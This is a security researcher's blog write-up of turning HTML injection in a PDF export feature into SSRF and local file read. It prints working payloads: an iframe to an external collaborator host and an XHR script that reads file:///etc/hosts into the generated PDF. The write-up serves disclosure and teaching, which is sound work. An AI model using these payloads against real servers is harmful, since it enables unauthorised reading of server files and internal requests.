SSRF to Local File read through HTML Injection in PDF file

Namratha GM
3 min readMay 1, 2020

In one of the recent web application security assessment, I came across an interesting find that allowed me to escalate from simple HTML Injection to SSRF later leading to local file read on the server.

The Scenario

It was a well developed web application when it came to input validation and I couldn't find a single entry point where this was missing until I came across a functionality that allowed me to download created posters as PDF. Here the application was accepting user input in parameter description (output encoding in place) to create poster, and then the application would allow me to download created posters as PDF. I observed that the user input value is being reflected inside PDF that got generated.

Hmmm!! is this something I missed to look so far??

Gave it a try for HTML Injection though I wasn’t sure if this could work, to my surprise the payload got executed.

But, how did it even work?? In this case, application is allowing user controlled input to generate PDF. So, we can try to trick the PDF creator bot to interpret HTML tags allowing execution on the server. (I believe)

Request sent with crafted payload
Download option for created posters
Downloaded PDF showing HTML Injection

Identifying SSRF

Well, at this point of time I was curious to check for possible SSRF as I had come across few write-ups on similar issue.

Sent request with payload <iframe src=”http://Burp-Collaborator-URL"></iframe> and while I download the PDF I could see hits in my collaborator client confirming SSRF. Great!!

DNS and HTTP hit to Burp Collaborator client from application server

Reading local files on the Server

On confirming SSRF, I decided to check if I can read any local files on the server through iframe. But, nothing worked.

Is there anything else I could try with??

I spent some good amount of time looking for other possible ways to take this forward. While in the process learn’t that I can leverage XHR (XMLHttpRequest) to my benefit, thanks to this owesome blog by NOOB NINJA!.

Before I go with XHR, I wanted to check if I can execute JavaScript inside PDF

<p id=”test”>aa</p><script>document.getElementById(‘test’).innerHTML+=’aa’</script>

downloaded PDF contained ‘aaaa’, that’s owesome!!

Going further and reading window.location

<p id=”test”>aa</p><script>document.getElementById(‘test’).innerHTML+=window.location</script>

Request showing payload to retrieve content of window.location

window.location is executing on file:// origin of server. OK! now it’s time for local file read via XHR (XMLHttpRequest)

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/hosts’);x.send();</script>

XHR Request to retrieve contents of /etc/hosts
Downloaded PDF showing contents of /etc/hosts

Boom!!! I had access to file:// context via XHR which wasn’t possible earlier through iframe for some unknown reason. Well, I had to stop here due to testing restrictions to go beyond from this point. As this is one of the unique findings I had come across during an assessment, I couldn’t stop myself from sharing.

Hope you enjoyed reading!!

--

--